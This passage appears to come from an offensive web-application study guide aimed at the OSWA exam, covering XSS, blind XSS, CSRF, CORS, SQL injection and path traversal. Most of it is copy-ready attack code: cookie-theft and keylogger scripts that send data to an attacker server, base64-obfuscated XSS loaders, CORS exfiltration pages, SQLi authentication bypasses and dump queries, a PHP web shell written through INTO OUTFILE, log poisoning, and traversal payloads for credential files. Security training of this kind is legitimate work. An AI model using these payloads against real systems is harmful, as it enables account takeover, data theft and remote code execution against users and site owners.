Tools: Burp Repeater (tune payloads per context), Decoder/Hackvertor (build layered encodings), Intruder (fuzz a payload list across the injection point and sort by response to find what executes/reflects), DOM Invader (DOM XSS). A curated XSS payload list (e.g. PortSwigger's XSS cheat sheet / PayloadsAllTheThings) is invaluable — iterate through it per context.

The principle: XSS discovery is inject a marker → identify the context → confirm execution; XSS bypass is find what's blocked → transform it (encoding/case/alt-syntax/allow-list-friendly) while keeping it valid for the context → iterate. Always target the browser's parser rather than the filter's pattern. On the OSWA, expect filters and encoding — fluency in context-based payloads and bypasses is what turns a reflection into a working XSS.


10. XSS — Exploitation, Payloads & Case Studies

Beyond alert(1): weaponizing XSS into real impact using offensive JavaScript (§6). This is what the OSWA wants — demonstrating the consequence, not just the pop.

Core weaponized payloads (favorites — modify the host to your attacker server):

Basic tag loader (tiny injected payload → hosted secondary payload):

"><script src=http://192.168.1.1></script>
<!-- your server at 192.168.1.1 serves the real JS (keep the injected part minimal) -->

URI/javascript: payload that loads a remote script (for href/URL contexts):

javascript:eval('var a=document.createElement(\'script\');a.src=\'http://192.168.1.1\';document.body.appendChild(a)')

IMG-tag base64 loader (evade keyword filters; the real JS is base64 in the id):

<!-- inner JS (modify your IP, then base64-encode it, and place the base64 in the id):
       var a=document.createElement("script");a.src="http://192.168.1.1";document.body.appendChild(a);
   final payload shape: -->
"><img src=x id=<base64-of-inner-JS> onerror=eval(atob(this.id))>

How it works: onerror runs eval(atob(this.id)) — base64-decoding the JS stored in id and executing it. This slips past filters that block script/alert/document keywords because the payload body is base64. (Base64-encode the inner JS with echo -n '...' | base64 and substitute it for the id value.)

IMG-tag + page replacement (swap the page for your own HTML/form — phishing in the trusted origin):

<img src=x onerror="javascript:window.location.replace('http://192.168.1.1/payload.html')">

Session/cookie theft → account takeover (if cookie lacks HttpOnly):

<script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
<script>fetch('http://192.168.1.1/c',{method:'POST',mode:'no-cors',body:document.cookie})</script>

Catch with your server/nc, set the stolen cookie in Burp/your browser → you're the victim.

Read same-origin data & exfiltrate (SOP bypass — steal an API key, CSRF token, admin page, PII):

<script>
fetch('/account/apikey',{credentials:'include'}).then(r=>r.text())
 .then(d=>new Image().src='http://192.168.1.1/x?d='+btoa(d));
</script>

CSRF-via-XSS (force a privileged action; bypasses CSRF tokens since you're same-origin — §12):

<script>
fetch('/api/newuser',{method:'POST',credentials:'include',
 headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'username=MyUser'});
</script>

Keylogger:

<script>document.onkeypress=e=>new Image().src='http://192.168.1.1/k?='+e.key</script>

Case study — Stored XSS → Admin Account Takeover (the classic OSWA chain):

1. Find a field stored and rendered to an admin (e.g., a support-ticket body, a username, a product
   review, a "contact us" message shown in an admin panel).
2. Store a cookie-exfil payload:
     <script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
   (or, if HttpOnly, exfiltrate the admin page content / perform an action instead).
3. The admin opens the page → their session cookie hits your server.
4. Set the admin cookie in Burp → browse the admin panel AS the admin → full takeover.
5. REPORT: Stored XSS (location/field) → Session Hijacking → Admin Account Takeover (Critical), with
   the exact stored payload, the render location, the captured request, and the mitigation.

Case study — Reflected XSS → Session theft via a crafted link:

1. Confirm reflection & context in a parameter (e.g. ?q="><svg onload=...>).
2. Build a URL that runs cookie-exfil JS (host a secondary payload for anything non-trivial).
3. Deliver the link to the victim (in the exam: demonstrate the delivery/PoC).
4. Victim clicks → their session is exfiltrated → ATO. Document the URL, payload, and impact.

Delivery mechanisms (how the victim executes it): a crafted link (reflected), stored content the victim/admin views (stored), an auto-loading iframe on your page, or a phishing message. For the exam/report, show a working PoC and the resulting impact.

The principle: weaponize XSS with offensive JS (§6) to steal sessions → take over accounts (esp. admin via stored XSS), read and exfiltrate same-origin data (SOP bypass), and force privileged actions (CSRF-via-XSS). Keep the injected payload small (a loader) and host the real logic on your server. Always demonstrate impact and document the full chain (payload → execution → consequence → fix). Mitigations to cite: context-aware output encoding, input validation, a strong CSP, and HttpOnly cookies.


11. Blind XSS & Out-of-Band Techniques

Blind XSS is stored XSS that executes somewhere you can't see — in a back-end dashboard, an admin panel, a log viewer, a support-agent interface, or an internal tool — long after and far from where you injected it. You detect it out-of-band via a callback to your server. Explicitly in-scope for the OSWA.

Why blind XSS matters. Many high-value injection points feed internal interfaces: a "contact us" / support ticket (read by an agent), a user-agent or referer logged and shown in an admin log viewer, a feedback form, a username shown in an admin user-list, an order note seen by staff. You never see the execution in your browser — but it fires in a privileged context (often an admin's), making it high-impact. You confirm it only when your payload "phones home."

The blind XSS technique (OOB detection):

1. Inject a payload that, when executed ANYWHERE, calls back to YOUR server with context (URL, cookies,
   DOM, user-agent) — so you learn WHERE it fired and WHAT it can access.
2. Seed it into every input that might be rendered elsewhere (support forms, profile fields, headers
   like User-Agent/Referer, filenames, order notes, API fields, logs).
3. WAIT for a callback to your server. When it arrives, you've confirmed blind XSS AND captured the
   context (often an admin/internal interface) — potentially with the admin's cookies/data.

Blind XSS payload patterns (loader that reports back — modify the host):

<!-- minimal loader → your hosted script does enrichment/exfiltration -->
"><script src=http://192.168.1.1></script>
<!-- self-contained beacon that reports the firing context -->
<script>new Image().src='http://192.168.1.1/b?u='+encodeURIComponent(location.href)
  +'&c='+encodeURIComponent(document.cookie)
  +'&d='+encodeURIComponent(document.domain);</script>
<!-- base64 loader (filter evasion) -->
"><img src=x id=<base64> onerror=eval(atob(this.id))>

Your hosted secondary script (http://192.168.1.1) can capture location.href (where it fired), document.domain, document.cookie, a screenshot of the DOM (document.documentElement.outerHTML), and even read/exfiltrate internal pages the victim context can access — then POST it all to you.

XSS Hunter-style workflow. The classic approach (XSS Hunter and self-hosted variants) is to seed a single callback payload everywhere; when it executes in any context, it beacons back with the firing URL, cookies, DOM, screenshot, and referrer — so you discover blind XSS across many injection points at once. You can self-host this: run your own web server (the CORS server in §6 works) to host the secondary payload and receive/log the callbacks — modify the host in the payload to your own server, and check your logs for callbacks.

Where to seed blind-XSS payloads (high-yield inputs):

support/contact forms · feedback · bug reports · order/delivery notes · username/display name ·
profile fields (bio, company) · address fields · file names on upload · HTTP headers logged &
displayed (User-Agent, Referer, X-Forwarded-For) · API/JSON fields rendered in admin tooling ·
anything that lands in an admin dashboard, log viewer, or internal review queue.

Out-of-band confirmation generally. Blind XSS is one case of OOB detection; the same principle (force a callback to a server you control to confirm a flaw you can't see directly) applies to blind SSRF, blind XXE, blind SQLi, and blind command injection (§16/§19/§21/§22) — use Burp Collaborator / interactsh or your own DNS/HTTP logger.

The principle: blind XSS fires in back-end/admin contexts you can't observe, so you seed callback payloads everywhere data might be rendered internally and wait for an out-of-band beacon to your server — which both confirms the vulnerability and captures the (often privileged) firing context. Self-host your payload server, modify the host in the payload, and monitor your logs. It's high-impact (frequently hits admins) and a staple of thorough OSWA testing — don't skip the inputs that feed internal tools.


12. Cross-Site Request Forgery (CSRF)

CSRF tricks an authenticated victim's browser into making an unwanted state-changing request to an app they're logged into — abusing the browser's automatic inclusion of cookies on cross-site requests. An explicit OSWA topic.

How CSRF works (built on SOP's gap):

1. Victim is logged into target.com (holds a valid session cookie).
2. Victim visits attacker.com (or opens a malicious link/email/ad).
3. attacker.com triggers a request to target.com (form auto-submit, img, fetch).
4. The browser AUTO-ATTACHES the victim's target.com cookies → the request is AUTHENTICATED.
5. The state-changing action executes AS THE VICTIM, without their knowledge.
# SOP prevents attacker.com from READING target.com's responses, but does NOT prevent SENDING the
#   request with cookies — that gap is what CSRF exploits.

Classic CSRF PoCs:

<!-- auto-submitting POST form (most common) -->
<form action="https://target.com/account/change-email" method="POST" id="x">
  <input type="hidden" name="email" value="[email protected]">
</form><script>document.getElementById('x').submit()</script>

<!-- GET-based CSRF (even simpler, if the action accepts GET) -->
<img src="https://target.com/account/delete?confirm=true">

JavaScript CSRF payload (generic pattern — e.g., create a new user):

// targets /api/newuser on target.com to create user "MyUser"; cookies auto-included.
var user = "username=MyUser";
var host = "https://192.168.1.1";
var api_url = "/api/newuser";
function create_user() {
  console.log("Creating a new user...");
  fetch(host + api_url, {
    method: 'POST',
    mode: 'no-cors',             // we don't need to READ the response, just send the request
    credentials: 'include',      // send the victim's cookies
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: user
  }).then(() => console.log("Should be done..."));
}
create_user();

Note mode:'no-cors' + credentials:'include': the request is sent with the victim's session, and we don't need to read the response (SOP would block that anyway) — the side effect (new user) is the goal.

The CSRF exploitation workflow (the general method — fold your course PoCs here):

1. In YOUR OWN browser (via Burp), perform the target action → capture the exact request:
   method, URL, parameters, and values (and whether a CSRF token is required).
2. Build the payload (auto-submit form or JavaScript fetch) replicating that request.
3. Deliver it so the VICTIM executes it: host the HTML and get them to visit, embed it via an XSS/
   HTML-injection on the target (CSRF-via-XSS — same-origin, bypasses tokens, §10), or phish a link.
4. Verify the action executed as the victim. (Profit.)

Testing for CSRF & token bypasses (the advanced angle — tokens are often weak):

- NO ANTI-CSRF TOKEN (or not validated): the request works from a cross-site context → vulnerable.
- TOKEN NOT TIED TO THE SESSION: use YOUR OWN valid token in a request made as the victim.
- TOKEN ONLY CHECKED IF PRESENT: remove the token parameter entirely → still works.
- TOKEN IN A COOKIE (double-submit) BUT PREDICTABLE/SETTABLE: control both halves.
- METHOD CHANGE: token checked only on POST → try GET.
- REFERER-ONLY PROTECTION: omit the Referer (via referrer-policy) or it's not strictly validated.
- WEAK SAMESITE: SameSite=None/absent → cross-site POST sends cookies; SameSite=Lax still allows
   top-level-navigation GET.
- CONTENT-TYPE: if the endpoint accepts a simple content-type, a form-based CSRF works (no preflight).

Chaining CSRF (impact): CSRF to change the victim's email → trigger a password reset to the attacker's inbox → account takeover; CSRF to add an attacker as an admin; CSRF to change security settings. Impact depends on the forced action — frame it accordingly. Burp's Generate CSRF PoC (Engagement tools) auto-builds the exploit.

The principle: CSRF forces an authenticated, state-changing request from a cross-site context, abusing auto-sent cookies. Find a state-changing action lacking a proper per-session anti-CSRF token (or with a bypassable one), replicate the exact request as an auto-submitting form or JS fetch (credentials:'include'), and deliver it to the victim (hosted page, XSS, or phishing). Save your PoCs — they're reusable templates. Mitigations to cite: unpredictable per-session anti-CSRF tokens validated server-side, SameSite cookies, and re-authentication for sensitive actions.


13. CORS Misconfigurations

Cross-Origin Resource Sharing (CORS) lets a server relax the Same-Origin Policy to allow specific cross-origin reads. Misconfigured, it lets an attacker's site read a victim's authenticated data from the target — an explicit OSWA topic ("identify and exploit CORS misconfigurations").

CORS & SOP recap. SOP blocks a page on attacker.com from reading the response of a request to target.com. CORS is the server opting in to allow certain origins to read responses, via response headers:

Access-Control-Allow-Origin: https://trusted.com    ← which origin(s) may READ the response
Access-Control-Allow-Credentials: true              ← may the response be read WITH cookies/credentials?
Access-Control-Allow-Methods / -Headers             ← allowed methods/headers (preflight)

The dangerous combination is reflecting/allowing an attacker-controlled origin AND allowing credentials — then the attacker's page can read the victim's authenticated data.

Testing for CORS misconfiguration:

# send an arbitrary Origin and inspect the response's CORS headers:
curl -s -I https://target.com/api/account -H "Origin: https://evil.com" | grep -i access-control
# VULNERABLE patterns:
#   Access-Control-Allow-Origin: https://evil.com      (reflects ANY origin)  + ACAC: true  → exploitable
#   Access-Control-Allow-Origin: null                  (allows 'null' origin) + ACAC: true  → exploitable
#   ACAO reflects any *.target.com subdomain           → chain with a subdomain XSS/takeover

Common misconfigurations to probe:

1. ORIGIN REFLECTION: server echoes whatever Origin you send into ACAO (+ ACAC: true) → any site reads data.
2. NULL ORIGIN ALLOWED: ACAO: null accepted → deliver from a sandboxed iframe / data: URL (origin 'null').
3. OVERLY-BROAD SUBDOMAIN TRUST: ACAO reflects any *.target.com → compromise/takeover a subdomain, or
   find an XSS on a subdomain, to meet the allowed-origin condition.
4. PREFIX/SUFFIX MATCHING FLAWS: weak origin validation (e.g., trusts "target.com.evil.com" or
   "eviltarget.com") → craft a matching attacker origin.
5. WILDCARD + CREDENTIALS MISUSE: (ACAO:* with credentials is disallowed by browsers, but reflection
   achieves the same effect — the real risk is reflection + credentials.)

Exploitation (steal the victim's authenticated data from an attacker page):

<!-- hosted on attacker.com; when the victim visits, it reads their authenticated target.com data -->
<script>
fetch('https://target.com/api/account', {credentials:'include'})
  .then(r => r.text())
  .then(d => fetch('https://192.168.1.1/log?d=' + btoa(d), {mode:'no-cors'}));
</script>

For a null-origin case, deliver the script from a sandboxed iframe so the request's Origin is null:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        srcdoc="<script>fetch('https://target.com/api/account',{credentials:'include'})
                .then(r=>r.text()).then(d=>fetch('https://192.168.1.1/log?d='+btoa(d),{mode:'no-cors'}))</script>">
</iframe>

Impact: theft of the victim's authenticated data (profile, tokens, API keys, PII) → often account takeover if it exposes credentials/tokens/CSRF tokens. The CORS-enabled server from §6 is handy to receive the exfiltrated data.

The principle: CORS misconfigurations let an attacker's origin read a victim's authenticated cross-origin data when the server reflects/allows an attacker-controllable origin and allows credentials (or allows null, or trusts attacker-reachable subdomains). Test by sending arbitrary/null/subdomain Origin values and checking ACAO/ACAC; exploit from a hosted page (or sandboxed iframe for null) that fetch(..., {credentials:'include'})s the target and exfiltrates the response. Mitigations to cite: a strict allow-list of trusted origins, never reflect arbitrary origins with credentials, and never allow null.


14. Database Enumeration

Before (and during) SQL injection, you enumerate the database — its type, version, schema, tables, columns, and data. "Database enumeration" is a distinct OSWA module because knowing what's there and how it's structured drives effective SQLi. (Enumeration techniques here feed directly into the SQLi sections §15-17.)

What you're enumerating (and why):

DBMS TYPE & VERSION  → determines syntax (comments, functions, concatenation) and available attacks
CURRENT DATABASE/USER/PRIVILEGES → scope & capabilities (can you read files? write? stack queries?)
DATABASES/SCHEMAS    → what data stores exist
TABLES               → where the interesting data is (users, credentials, tokens, PII)
COLUMNS              → the fields to extract (username, password, email, role)
DATA                 → the actual values (credentials to crack/use, PII, secrets)

Fingerprinting the DBMS (from errors, behavior, and version strings):

-- version string (reveals the DBMS):
MySQL/MariaDB:  SELECT @@version;        SELECT version();
MSSQL:          SELECT @@version;
PostgreSQL:     SELECT version();
Oracle:         SELECT banner FROM v$version;   (Oracle requires FROM; uses dual)
-- behavioral tells: error message format, comment syntax that works, concatenation operator,
--   string functions, and the need for FROM dual (Oracle).

Enumerating structure via information_schema (MySQL/MSSQL/PostgreSQL) / data-dictionary (Oracle):

-- current context
SELECT database();              -- MySQL current DB      (MSSQL: DB_NAME(); PG: current_database())
SELECT user();                  -- current user          (MSSQL: SYSTEM_USER; Oracle: SELECT user FROM dual)
-- list databases/schemas
SELECT schema_name FROM information_schema.schemata;
-- list tables in the current database
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
-- list columns in a table
SELECT column_name FROM information_schema.columns WHERE table_name='users';
-- dump data
SELECT username,password FROM users;
-- concatenate for compact extraction (MySQL):
SELECT group_concat(username,0x3a,password) FROM users;        -- user:pass,user:pass,...
-- Oracle equivalents: all_tables / all_tab_columns; LISTAGG for concat; FROM dual.

Per-DBMS cheat (enumeration syntax differences — essential for SQLi):

                     MySQL                 MSSQL               PostgreSQL          Oracle
version              @@version/version()   @@version           version()           v$version (banner)
current db           database()            DB_NAME()           current_database()  (SELECT user FROM dual)
current user         user()/current_user() SYSTEM_USER         current_user        USER
list tables          information_schema.tables (MySQL/MSSQL/PG)                     all_tables
list columns         information_schema.columns (MySQL/MSSQL/PG)                    all_tab_columns
string concat        CONCAT()/CONCAT_WS    a+b                 a||b                a||b
comment              -- -  /  #            -- -                -- -                -- -
substring            SUBSTRING()           SUBSTRING()         SUBSTRING()         SUBSTR()

Enumeration via SQLi (the point — you run these through an injection): once you confirm a SQL injection (§15), you deliver these enumeration queries via UNION (in-band), inference (blind), or error messages to progressively map and extract the database. Automated enumeration (sqlmap --dbs/--tables/--columns/--dump) does this for you (§17), but understand the manual queries to verify and handle what tools miss.

The principle: database enumeration is fingerprint the DBMS → identify current db/user/privileges → list schemas/tables/columns → extract data, using information_schema (or the Oracle data dictionary) with per-DBMS syntax. It's both a precursor to and the payload of SQL injection — know the enumeration queries for each major DBMS, and you can map and loot any injectable database. (Exploitation delivery is §15-17.)


15. SQL Injection (SQLi) — Fundamentals & In-Band

SQL injection — manipulating the database queries an app sends — is, alongside XSS, the core of the OSWA. This section covers fundamentals, detection, authentication bypass, and in-band (UNION & direct) exploitation; §16 covers blind/error/OOB; §17 covers fuzzing & automation.

How SQLi happens: user input is concatenated into a SQL query without parameterization:

-- vulnerable: "SELECT * FROM products WHERE id = '" + input + "'"
-- input:  1' OR '1'='1   →  SELECT * FROM products WHERE id = '1' OR '1'='1'   (always true)

Detection — confirm an injection point:

'                       -- single quote → SQL error or changed behavior? (likely injectable)
"                       -- try double quote too
1' AND '1'='1           -- TRUE  → normal page
1' AND '1'='2           -- FALSE → different page/result  (boolean difference = SQLi confirmed)
1' OR SLEEP(5)-- -       -- delay? → time-based confirms blind SQLi
# also test numeric contexts without quotes:  1 AND 1=1  vs  1 AND 1=2

An SQL error, a boolean behavior change, or a time delay confirms the injection. Note the context (string vs numeric; what quote/paren breaks it).

Authentication bypass (login forms — a classic OSWA win):

admin'-- -            admin'#            admin'/*
' OR '1'='1'-- -       ' OR 1=1-- -       ' OR 1=1#
') OR ('1'='1'-- -     ') OR '1'='1'-- -
" OR "1"="1"-- -       ' OR 'x'='x
' OR 1=1 LIMIT 1-- -
# comment out the rest of the query (--, #, /*) and make the WHERE always true, or log in as 'admin'.

In-Band — UNION-based (extract data directly in the response — the workhorse):

-- 1) determine the number of columns (so UNION matches):
' ORDER BY 1-- -     ' ORDER BY 2-- -   ...   (increment until it errors → N-1 columns)
' UNION SELECT NULL-- -       ' UNION SELECT NULL,NULL-- -   ...   (no error → correct column count)
-- 2) find which column(s) are displayed and take a string:
' UNION SELECT 'a',NULL,NULL-- -     (see where 'a' appears → that column is your output)
-- 3) enumerate & extract (place enumeration queries from §14 in the reflected column):
' UNION SELECT @@version,NULL,NULL-- -
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT username,password,NULL FROM users-- -
' UNION SELECT group_concat(username,0x3a,password),NULL,NULL FROM users-- -
-- data-type mismatch? use NULLs for non-matching columns; cast if needed.

In-Band — direct/stacked (where supported): if the app shows the query result directly, you read data inline; stacked queries (; <statement> — MSSQL/PostgreSQL, rarely MySQL via the app) let you run a second statement (INSERT/UPDATE/xp_cmdshell).

RCE & file access via SQLi (where privileges allow — frame impact):

-- MySQL: write a web shell (FILE privilege + writable webroot):
' UNION SELECT "<?php system($_GET['c']);?>",NULL,NULL INTO OUTFILE '/var/www/html/s.php'-- -
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL-- -          -- read a file (FILE priv)
-- MSSQL: xp_cmdshell for command execution (if enabled & privileged).
-- PostgreSQL: COPY ... TO/FROM PROGRAM for command execution.

The principle: confirm SQLi (error/boolean/time), then exploit — auth bypass on logins (admin'-- -, ' OR 1=1-- -), and UNION-based in-band extraction (find columns → find the displayed string column → inject the §14 enumeration/extraction queries) to dump credentials/PII, escalating to file read/RCE where privileges allow. Know the per-DBMS syntax (§14). Mitigation to cite: parameterized queries / prepared statements (the real fix), least-privilege DB accounts, and input validation. (Blind/error/OOB and automation follow in §16-17.)


16. SQLi — Blind (Boolean & Time), Error-Based & OOB

When the app doesn't return query results directly, you infer the data — the defining skill of advanced SQLi and a strong OSWA focus. Blind SQLi is slower but just as powerful.

Error-based SQLi (data leaks in error messages — fast when errors are shown):

-- MySQL (extractvalue / updatexml force the data into an error):
' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -
' AND updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) FROM users LIMIT 1)),1)-- -
-- MSSQL (type-conversion error leaks the value):
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects))-- -
-- PostgreSQL (cast error):
' AND 1=CAST((SELECT version()) AS int)-- -
# the 0x7e (~) marks the start of your leaked data in the error string.

Boolean-based blind (infer data from true/false response differences):

-- the page differs for TRUE vs FALSE conditions → ask yes/no questions, one bit/char at a time:
' AND (SELECT COUNT(*) FROM users)>5-- -                         -- is there >5 users?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -   -- first char = 'a'?
' AND ASCII(SUBSTRING((SELECT database()),1,1))>100-- -          -- binary-search the char value
# iterate position-by-position (and binary-search each char with ASCII/>) to extract strings.
# AUTOMATE this — doing it by hand is impractical for anything long (Intruder or a script; §17).

Time-based blind (infer from response delay — when there's no visible difference at all):

' AND IF(1=1,SLEEP(5),0)-- -                           -- MySQL: delay if true
'; WAITFOR DELAY '0:0:5'-- -                           -- MSSQL
' AND (SELECT 1 FROM PG_SLEEP(5))-- -                  -- PostgreSQL  (or ' || pg_sleep(5)-- -)
' AND 1=(SELECT 1 FROM dual WHERE DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1)-- -   -- Oracle
-- time-based data extraction (delay encodes the answer):
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -
# if the response is delayed, the condition was true. Slowest method — last resort when nothing else leaks.

Out-of-Band (OOB) SQLi (exfiltrate via DNS/HTTP when no in-band channel — Oracle/MSSQL):

-- Oracle (force a DNS/HTTP request carrying the data to YOUR server/Collaborator):
' UNION SELECT extractvalue(xmltype('<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % x SYSTEM "http://'||
   (SELECT user FROM dual)||'.<collab-id>.oast.site/">%x;]>'),'/l') FROM dual-- -
-- MSSQL: xp_dirtree / UNC path to your server; the queried data appears in the hostname of the callback.
# use Burp Collaborator / interactsh to receive the exfiltrated data in the subdomain.

Choosing the technique (decision flow):

Results shown in response?            → UNION / in-band (§15) — fastest, read directly.
Errors shown but not results?         → ERROR-BASED — leak data in error messages.
Page differs true vs false (no data)? → BOOLEAN-BLIND — infer char-by-char (automate).
No visible difference at all?         → TIME-BASED — infer via delay (automate; slowest).
No in-band channel but OOB possible?  → OOB — exfiltrate via DNS/HTTP (Oracle/MSSQL + Collaborator).

Automating blind extraction. Character-by-character blind SQLi is impractical by hand — use Burp Intruder (iterate positions/characters, sort by response length/time/content to read each char) or sqlmap (§17), which automate boolean/time/error extraction. Understand the manual logic so you can verify, tune, and handle what automation misses.

The principle: when results aren't directly returned, infer the data — error-based (leak in errors), boolean-blind (true/false response differences, char-by-char), time-based (delay encodes the answer), or OOB (DNS/HTTP exfiltration). Pick the fastest channel available, automate the extraction (Intruder/sqlmap), and know the per-DBMS syntax. Blind SQLi is slower but fully extracts the database — a core OSWA skill.


17. SQLi — Fuzzing, Automation & Advanced Exploitation

The OSWA explicitly includes "utilize fuzzing tools to discover SQL injection" and automating exploitation. This section covers fuzzing for SQLi, sqlmap, and advanced/WAF-bypass exploitation.

Fuzzing for SQL injection (discover injectable parameters at scale):

# Wfuzz — fuzz a parameter with SQLi probes, watch for errors/behavior changes:
wfuzz -c -z file,/usr/share/seclists/Injection/SQL.txt \
  --hc 404 "http://target.com/item.php?id=FUZZ"
# look for responses that differ (error signatures, different sizes/codes) → candidate injection points.

# ffuf — fuzz SQLi payloads and filter by response:
ffuf -w /usr/share/seclists/Injection/Generic-SQLi.txt -u "http://target.com/item.php?id=FUZZ" \
  -mc all -fs <baseline-size>     # flag responses that deviate from baseline

# Burp Intruder — load a SQLi payload list, inject at the parameter, sort by status/length/time to
#   spot anomalies (errors, boolean differences, delays).
# Common SQLi probe set: ' " '-- - ') ")-- - ' OR 1=1-- - ' AND SLEEP(5)-- -  etc.

Fuzzing finds which parameters are injectable by observing error signatures, response-size/code changes, or time delays across a payload list — then you exploit manually or with sqlmap.

sqlmap — automated detection & exploitation:

# basic — GET parameter
sqlmap -u "http://target.com/item.php?id=1" -p id --batch
# POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=x" -p user
# from a saved Burp request (best for complex/authenticated/cookie-based requests)
sqlmap -r request.txt -p id
# with a session cookie / headers
sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=<sid>" --batch

# enumeration (escalate step by step)
sqlmap -r req.txt --dbs                               # list databases
sqlmap -r req.txt -D appdb --tables                   # tables
sqlmap -r req.txt -D appdb -T users --columns         # columns
sqlmap -r req.txt -D appdb -T users -C user,pass --dump    # dump specific columns
sqlmap -r req.txt --current-user --current-db --is-dba --hostname   # context/privileges

# advanced / tough cases
sqlmap -r req.txt --level=5 --risk=3                  # more tests, more aggressive (stubborn injections)
sqlmap -r req.txt --technique=BEUSTQ --dbms=mysql     # specify techniques & DBMS (faster/accurate)
sqlmap -r req.txt --tamper=space2comment,between,charencode,randomcase   # WAF-bypass tamper scripts
sqlmap -r req.txt --random-agent --threads=10 --proxy=http://127.0.0.1:8080   # evasion + speed + via Burp
sqlmap -r req.txt --os-shell      # attempt OS shell (RCE) where supported
sqlmap -r req.txt --sql-shell     # interactive SQL shell
sqlmap --list-tampers             # list WAF-bypass tamper scripts

Best practice: start manual (confirm the injection, understand the DBMS/context/technique — §15-16), then let sqlmap do the heavy extraction. Always run through Burp (--proxy) so you see and learn from the requests, use a saved Burp request (-r) for authenticated/complex cases, and only against authorized targets (sqlmap is loud/impactful). Verify findings manually — automation can miss context-specific injections or false-positive on WAF behavior.

WAF / filter bypass for SQLi (when payloads are blocked — ties to encoding):

-- case variation (defeat case-sensitive signatures):
uNiOn sElEcT        SeLeCt
-- inline comments to break keywords (MySQL):
UN/**/ION SE/**/LECT        /*!UNION*/ /*!SELECT*/     (versioned comments execute in MySQL)
-- whitespace alternatives (when spaces are filtered):
UNION/**/SELECT     UNION%0aSELECT     UNION%09SELECT     UNION(SELECT(1))
-- no-space extraction via parentheses:
'UNION(SELECT(username),(password)FROM(users))-- -
-- quotes filtered → use CHAR()/hex:
WHERE name=CHAR(97,100,109,105,110)        WHERE name=0x61646d696e
-- OR filtered → alternatives:  ' || 1=1-- -   ' OR 2>1-- -   (and double-write tricks if OR is stripped)
-- sqlmap --tamper applies these automatically (space2comment, between, charencode, randomcase, etc.)

Advanced exploitation (escalate impact): dump and crack password hashes (feed to hashcat/john); use extracted credentials to log in / escalate; achieve RCE via INTO OUTFILE (MySQL web shell), xp_cmdshell (MSSQL), or COPY ... PROGRAM (PostgreSQL); read local files (LOAD_FILE); and chain SQLi → admin creds → admin panel → further compromise (§24).

The principle: fuzz to discover injectable parameters (Wfuzz/ffuf/Intruder, watching errors/size/time), confirm and understand them manually (§15-16), then automate extraction with sqlmap (via a saved Burp request, through the proxy), applying tamper/encoding bypasses against WAFs and escalating to credential dumping, auth bypass, file access, or RCE. Know the manual techniques so you can verify and handle what tools miss. SQLi mastery — in-band, blind, fuzzing, automation, and bypass — is, with XSS, the heart of the OSWA.


18. Directory / Path Traversal

Path (directory) traversal lets you read files outside the intended directory by manipulating a file-path parameter with ../ sequences — exposing source code, config files, credentials, and system files. An explicit OSWA topic.

Where it hides: parameters that reference files — ?file=, ?page=, ?doc=, ?download=, ?img=, ?template=, ?path=, ?lang=, ?view= — and anywhere a filename/path appears in the request (including upload filenames and path segments).

Basic traversal:

# Linux
http://target.com/download?file=../../../../../../etc/passwd
# Windows
http://target.com/download?file=..\..\..\..\..\..\windows\win.ini
http://target.com/download?file=../../../../../../windows/win.ini

Encoding & filter bypasses (when ../ is filtered — essential for the OSWA):

../                               standard
..%2f        (URL-encoded /)      ..%2f..%2f..%2fetc/passwd
%2e%2e%2f    (encoded ../)        %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f      (double-encoded)     ..%252f..%252f..%252fetc%252fpasswd       (filter decodes once)
....//       (nested — defeats one round of ../ stripping)   ....//....//....//etc/passwd
..%c0%af     (overlong UTF-8)     %c0%ae%c0%ae%c0%af
..%5c / ..\  (backslash)          Windows path separators
# absolute path (if the base dir isn't strictly enforced):
file=/etc/passwd
# null byte (legacy platforms) to truncate an appended extension:
file=../../../../etc/passwd%00.jpg
# traversal + the app's expected extension (if it appends one):
file=../../../../etc/passwd%00    or use php wrappers (§26/LFI)

High-value target files:

Linux:   /etc/passwd  /etc/shadow (if readable)  /etc/hosts  /etc/issue  /proc/self/environ
         /var/www/html/config.php  (app config/creds)  .env  /var/log/apache2/access.log  (→ log poison)
         ~/.ssh/id_rsa  ~/.bash_history  the app's source files (.php/.py/.java)  database config files
Windows: C:\windows\win.ini  C:\windows\system32\drivers\etc\hosts  C:\inetpub\wwwroot\web.config
App:     source code, config files, backups (*.bak/*.old), .env, credentials, secret keys

Detecting & confirming: request a known file (/etc/passwd) with increasing ../ depth until you get a hit (root:x:0:0:...). If the app appends a fixed extension (e.g., .php), use null-byte (legacy) or a wrapper/encoding trick, or target files that match the expected extension. If traversal reads but the result is rendered/included rather than returned raw, you may have LFI (file inclusion → potential RCE via log poisoning or wrappers — related, often covered alongside traversal).

Traversal vs LFI (distinction): directory traversal = read arbitrary files (the content is returned); Local File Inclusion (LFI) = the app includes/executes a user-specified file (PHP include), which can escalate to RCE (via log poisoning, php://filter to read source, data:///php://input for code execution, or including an uploaded file). On the OSWA, know traversal for file read and recognize when it's actually LFI (greater impact).

# LFI power-ups (PHP), if the parameter is include()'d:
?page=php://filter/convert.base64-encode/resource=config.php   → read source (base64-encoded)
?page=../../../../var/log/apache2/access.log                   → include a log you poisoned with PHP
#   (poison: send a request with  User-Agent: <?php system($_GET['c']); ?>  then include the log &c=id)

